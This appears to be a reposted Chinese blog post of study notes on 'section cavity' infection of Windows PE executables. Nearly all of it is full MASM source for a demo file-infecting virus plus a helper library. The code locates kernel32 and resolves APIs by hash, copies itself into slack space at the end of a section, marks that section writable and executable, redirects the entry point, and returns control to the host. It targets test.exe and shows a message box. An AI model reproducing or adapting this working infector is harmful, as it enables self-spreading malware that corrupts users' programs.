搜寻节空隙感染学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题

 

那么搜寻节空隙感染,最重要的就是找到我们节中存在的空隙。一般在病毒技术中,有两种方法。 

 

  1. 循环读取节表,然后分别在每个节中搜寻00机器码(因为默认编译器是用00机器码填充的),如果此00机器码区域的大小大于病毒的体积。则取这段区域的偏移。
  2. 循环读取节表,通过节表结构中的物理文件大小 - 节映射大小 取得 节后面的物理空隙,然后判断此段空隙大小是否大于我们病毒体积,如果大于的话,则取这段区域的偏移。

  另外还有将我们病毒分段插入,这需要依靠我们的反汇编引擎,将病毒代码拆解成多个过程,然后分别插入,最后将这些过程连接起来,同样这样也有很多弊端,所以很多时候这不能使我们产生动力...。

  我们今天的代码使用的是第二种方法,因为第一种方法的弊端太多,例如如果被感染文件的空隙不是00机器码填充的等。为了稳定性还是选择第二种方法,虽然它的限制会比较多。实际上CIH利用的也是我们今天的第二种方法。

 

代码:

 

; 链接选项加入/SECTION:.text|RWE  
02.    .386  
03.    .model flat, stdcall  
04.    option casemap:none  
05.      
06.include windows.inc  
07.  
08.    .code  
09.      
10.VirusEntry:  
11.    pushad  
12.    call Dels  
13.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>     
14.Table:  
15.       dd  038C62A7Ah  
16.       _CreateFile  dd  0  
17.           dd  09554EFE7h  
18.       _GetFileSize  dd  0  
19.           dd  00BE25545h  
20.       _ReadFile  dd  0  
21.           dd  0A9D1FD70h  
22.       _SetFilePointer  dd  0  
23.           dd  0C0D6D616h  
24.       _CloseHandle  dd  0  
25.           dd  0C2F6D009h  
26.       _GlobalAlloc  dd  0  
27.           dd  0585ED3CFh  
28.       _GlobalFree  dd  0  
29.           dd  058D8C545h  
30.       _WriteFile  dd  0  
31.           dd  0A412FD89h  
32.       _LoadLibrary  dd  0  
33.           dd  014D14C51h  
34.       _MessageBox  dd  0   
35.       dd 0  
36.       szCaption    db 'Virus Dream - Demo', 0  
37.       szText       db 'Oh Yeah of Virus Dream', 0  
38.       szFileName   db 'test.exe', 0  
39.       nWriteByteNum    dd 0  
40.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
41.Dels:  
42.    pop ebp  
43.    call GetKernel32  
44.      
45.    mov edi, ebp            ; edi = pHashStringList = Table  
46.    call GetFuncAddress  
47.      
48.    push '23'  
49.    push 'resu'  
50.    push esp            ; lpFileName = user32  
51.    call dword ptr [ebp + (_LoadLibrary - Table)]  
52.    pop edx  
53.    pop edx             ; 弹出'user32'  
54.      
55.    mov edi, ebp  
56.    call GetFuncAddress  
57.      
58.    cmp ebp, Dels - (Dels - Table)  
59.    je Inject           ; 如果等于说明不再宿主程序中  
60.      
61.    push 0  
62.    lea edx, [ebp + (szCaption - Table)]  
63.    push edx  
64.    lea edx, [ebp + (szText - Table)]  
65.    push edx  
66.    push 0  
67.    call dword ptr [ebp + (_MessageBox - Table)]  
68.      
69.    lea eax, [ebp + (szFileName - Table)]  
70.    push eax  
71.    call InjectFile  
72.    popad  
73.    jmp JmpHost  
74.      
75.Inject:  
76.    lea eax, [ebp + (szFileName - Table)]  
77.    push eax  
78.    call InjectFile  
79.  
80.    popad  
81.    ret  
82.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>     
83.; 感染文件  
84.; Arguments:  
85.;   [esp + 4 * 8 + 4]       - lpFileName  
86.; Return Value:  
87.;   Nothing  
88.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
89.InjectFile:  
90.    pushad  
91.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
92.; 注册一个SEH, 一般流程如下:  
93.; push Handle  
94.; push fs:[0]  
95.; mov fs:[0], esp  
96.; _ _ _ _ _ _ _ _  
97.; | Prev    |   <-- esp - 8 ; push edx  
98.; | SEH Handle  |   <-- esp - 4 ; call _@@  
99.; | pushad  |   <-- esp  
100.; | 返回地址    |  
101.; | 参数  |  
102.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
103.    lea edx, [esp - 8]  
104.    call _@@                ; 入栈下一条指令地址, 相当于push Handle  
105.    mov esp, [esp + 2 * 4]          ; esp指向异常回调函数的第二个参数  
106.    jmp _Result  
107.      
108._@@:  
109.    sub eax, eax  
110.    assume fs:nothing  
111.    xchg edx, fs:[eax]          ; 相当于mov fs:[0], esp  
112.    push edx                ; 相当于push fs:[0]  
113.      
114.    mov edx, [esp + 4 * 8 + 4 + 4 * 2]  ; edx = lpFileName  
115.    push eax  
116.    push eax  
117.    push OPEN_EXISTING  
118.    push eax  
119.    push FILE_SHARE_WRITE  
120.    push GENERIC_READ or GENERIC_WRITE  
121.    push edx  
122.    call dword ptr [ebp + (_CreateFile - Table)]  
123.    cmp eax, INVALID_HANDLE_VALUE  
124.    je _Result  
125.    xchg eax, ebx               ; ebx = FileHandle  
126.      
127.    push 0  
128.    push ebx  
129.    call dword ptr [ebp + (_GetFileSize - Table)]  
130.    push eax                ; [esp] = File Size  
131.      
132.    push eax  
133.    push GMEM_ZEROINIT  
134.    call dword ptr [ebp + (_GlobalAlloc - Table)]  
135.    xchg eax, edi               ; edi = lpMemory  
136.      
137.    push 0                  ; 空出一个空间供下面输出参数使用  
138.    push esp  
139.    push dword ptr [esp + 4 * 2]        ; File Size  
140.    push edi                ; 将文件数据读取到edi  
141.    push ebx  
142.    call dword ptr [ebp + (_ReadFile - Table)]  
143.    pop [ebp + (nWriteByteNum - Table)]  
144.      
145.    push edi  
146.    call IsPe  
147.    jnc _Free  
148.      
149.    push edi  
150.    call GetSectionTable  
151.    xchg eax, esi               ; esi = Section Table offset  
152.      
153.    push edi  
154.    call GetSectionNum          ; ecx = Section Num  
155.    jecxz _Free             ; 如果ecx等于0跳  
156.      
157._LoopScas:  
158.    mov edx, [esi + 10h]            ; esi + 10h = SizeOfRawData  
159.    sub edx, [esi + 08h]            ; esi + 08h = VirtualSize  
160.    cmp edx, VirusLen  
161.    jg _MoveVirus               ; 如果空隙大于病毒长度跳  
162.    add esi, 28h                ; esi指向下一个节表  
163.    loop _LoopScas  
164.    jmp _Free  
165.      
166._MoveVirus:  
167.    push edi                ; edi = lpMemory  
168.    call GetEntryPointVa  
169.    mov [ebp + (JmpHost - Table) + 1], eax  ; 将JmpHost处jmp的操作数修改为OEP  
170.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
171.; 设置新入口点RVA  
172.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
173.    mov edx, [esi + 08h]            ; edx = VirtualSize  
174.    add edx, [esi + 0ch]            ; edx = 节结尾RVA, 也即Virus开始RVA  
175.    mov eax, edi                ; edi = lpMemory  
176.    add eax, [edi + 3ch]            ; eax = PE Header  
177.    mov [eax + 28h], edx            ; 修改入口点  
178.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
179.; 设置节标志  
180.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
181.    or dword ptr [esi + 24h], 0E0000020h  
182.      
183.    mov edx, [esi + 08h]  
184.    add edx, [esi + 14h]            ; edx = 节结尾文件偏移,也即virus开始文件偏移  
185.    add edx, edi                ; edx指向lpMemory中节结尾  
186.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
187.; 移动病毒数据  
188.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
189.    pushad  
190.    lea esi, [ebp - 6]          ; esi = VirusEntry  
191.    mov ecx, VirusLen  
192.    mov edi, edx  
193.    cld  
194.    rep movsb               ; 移动病毒数据  
195.    popad  
196.      
197.    push FILE_BEGIN  
198.    push 0  
199.    push 0  
200.    push ebx  
201.    call dword ptr [ebp + (_SetFilePointer - Table)]    ; 将文件指针定位到开始处  
202.      
203.    push 0  
204.    push esp  
205.    push [ebp + (nWriteByteNum - Table)]  
206.    push edi  
207.    push ebx  
208.    call dword ptr [ebp + (_WriteFile - Table)]     ; 将数据写回文件  
209.      
210._Free:  
211.    push ebx  
212.    call dword ptr [ebp + (_CloseHandle - Table)]  
213.    push edi  
214.    call dword ptr [ebp + (_GlobalFree - Table)]  
215.      
216._Result:  
217.    sub eax, eax  
218.    pop dword ptr fs:[eax]  
219.    pop edx  
220.    popad  
221.    ret 4 * 1  
222.      
223.JmpHost:  
224.    push $  
225.    ret  
226.      
227.include VirusLib.asm  
228.VirusLen = $ - VirusEntry  
229.  
230.    end VirusEntry  
View Code

上面代码中include了VirusLib.asm文件,里面包含了一些病毒中常用函数:

 

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
02.; 测试是否是PE文件  
03.; Arguments:  
04.;   [esp]       - return address  
05.;   [esp + 4]   - lpMemory  
06.; Return Value:  
07.;   CF      - 1  
08.;   CF      - 0  
09.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
10.IsPe:  
11.    mov edx, [esp + 4]  
12.    cmp word ptr [edx], 'ZM'  
13.    jnz _IP_RetFails  
14.    add edx, [edx + 3ch]  
15.    cmp word ptr [edx], 'EP'  
16.    jnz _IP_RetFails  
17.      
18._IP_RetTure:  
19.    stc         ; CF = 1  
20.    ret 4 * 1  
21.      
22._IP_RetFails:  
23.    clc         ; CF = 0  
24.    ret 4 * 1  
25.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
26.; 获取节表  
27.; Arguments:  
28.;   [esp]       - return address  
29.;   [esp + 4]   - pMemory  
30.; Return Value:  
31.;   eax         - Physical offset  
32.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
33.GetSectionTable:  
34.    mov eax, [esp + 4]  
35.    add eax, dword ptr [eax + 3ch]  ; eax -> PE Header  
36.    movzx edx, word ptr [eax + 14h] ; edx = IMAGE_OPTIONAL_HEADER长度  
37.    lea eax, [eax + edx + 4 * 6]    ; 4 * 6为IMAGE_FILE_HEADER和Signature长度  
38.    ret 4 * 1  
39.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
40.; 获取OEP VA Address  
41.; Arguments:  
42.;   [esp]       - return address  
43.;   [esp + 4]   - pMemory  
44.; Return Value:  
45.;   eax     - OEP VA Address  
46.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
47.GetEntryPointVa:  
48.    mov eax, [esp + 4]  
49.    add eax, dword ptr [eax + 3ch]  ; eax -> PE Header  
50.    mov edx, dword ptr [eax + 28h]  ; edx = IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint  
51.    add edx, dword ptr [eax + 34h]  ; edx += IMAGE_OPTIONAL_HEADER.ImageBase  
52.    xchg eax, edx  
53.    ret 4 * 1  
54.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
55.; 获取节表数量  
56.; Arguments:  
57.;   [esp]       - return address  
58.;   [esp - 4]   - pMemory  
59.; Return Value:  
60.;   ecx     - Section Number  
61.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
62.GetSectionNum:  
63.    mov eax, [esp + 4]  
64.    add eax, [eax + 3ch]            ; eax -> PE Header  
65.    movzx ecx, word ptr [eax + 06h]     ; ecx = IMAGE_FILE_HEADER.NumberOfSection  
66.    ret 4 * 1  
67.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
68.; 获取kernel32基地址  
69.; Arguments:  
70.;   [esp]       - return address  
71.; Return Value:  
72.;   eax     - kernel32 base address  
73.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
74.GetKernel32:  
75.    push dword ptr 006ch  
76.    push dword ptr 006c0064h  
77.    push dword ptr 002e0032h  
78.    push dword ptr 0033006ch  
79.    push dword ptr 0065006eh  
80.    push dword ptr 00720065h  
81.    push word ptr 006bh  
82.    mov ebx, esp  
83.    assume fs:nothing  
84.    mov eax, fs:[30h]  
85.    mov eax, [eax + 0ch]  
86.    mov eax, [eax + 1ch]  
87.      
88._Search:  
89.    or eax, eax  
90.    jz _NotFound  
91.    inc eax  
92.    jz _NotFound  
93.    dec eax  
94.    mov ecx, dword ptr 13       ; ecx = 比较长度  
95.    lea esi, [eax + 1ch]      
96.    mov esi, [esi + 4]      ; esi = UNICODE_STR.Buffer  
97.    mov edi, ebx  
98.    repz cmpsw  
99.    or ecx, ecx  
100.    jz _Found  
101.    mov eax, [eax]  
102.    jmp _Search  
103.      
104._NotFound:  
105.    or eax, 0ffffffffh  
106.    jmp _Over  
107.      
108._Found:  
109.    mov eax, [eax + 08h]  
110.      
111._Over:  
112.    add esp, 26  
113.    ret  
114.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
115.; 获取Hash API地址  
116.; Arguments:  
117.;   [esp]       - return address  
118.;   eax     - hModule  
119.;   edi     - pHashStringList  
120.; Return Value:  
121.;   Nothing  
122.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
123.GetFuncAddress:  
124.    pushad  
125.    xchg eax, ebx           ; ebx = hModule  
126.    mov eax, [ebx + 3ch]  
127.    mov esi, [eax + ebx + 78h]  ; Get Export  
128.    lea esi, [esi + ebx + 18h]  ; esi -> NumberOfNames  
129.      
130.    cld  
131.    lodsd  
132.    xchg eax, ecx           ; ecx = NumberOfNames  
133.    lodsd  
134.    push eax            ; [esp] = AddressOfFunctions  
135.    lodsd  
136.    add eax, ebx  
137.    xchg eax, edx           ; edx = AddressOfNames  
138.    lodsd  
139.    add eax, ebx  
140.    xchg eax, ebp           ; ebp = AddressOfNameOrdinals  
141.    xchg esi, edx           ; esi = AddressOfNames  
142.      
143._NextFunc:  
144.    push edi  
145.    lodsd  
146.    add eax, ebx            ; eax = API 函数名字符串  
147.    xor edx, edx  
148.  
149._CalcHash:  
150.    rol edx, 3  
151.    xor dl, byte ptr [eax]  
152.    inc eax  
153.    cmp byte ptr [eax], 0  
154.    jnz _CalcHash  
155.      
156._ScanDwFunc:  
157.    cmp [edi], edx  
158.    jnz _SkipFunction  
159.    movzx eax, word ptr [ebp]   ; 取出对应索引  
160.    shl eax, 2  
161.    add eax, [esp + 4]      ; 索引乘以4后加到AddressOfFunctions  
162.    mov eax, [eax + ebx]        ; 取出API RVA  
163.    add eax, ebx            ; eax = API address  
164.    scasd               ; 跳过hash  
165.    stosd               ; 保存  
166.    jmp _Ret  
167.      
168._SkipFunction:  
169.    scasd  
170.    scasd               ; 跳过hash和保存API地址的地方指向下一个hash  
171.    cmp dword ptr [edi], 0  
172.    jnz _ScanDwFunc  
173.      
174._Ret:  
175.    pop edi  
176.    add ebp, 2          ; ebp指向下一个索引,和AddressOfNames对应  
177.    loop _NextFunc  
178.      
179.    pop ecx  
180.    popad  
181.    ret  
View Code

 

转载于:https://www.cnblogs.com/Acg-Check/p/4269437.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值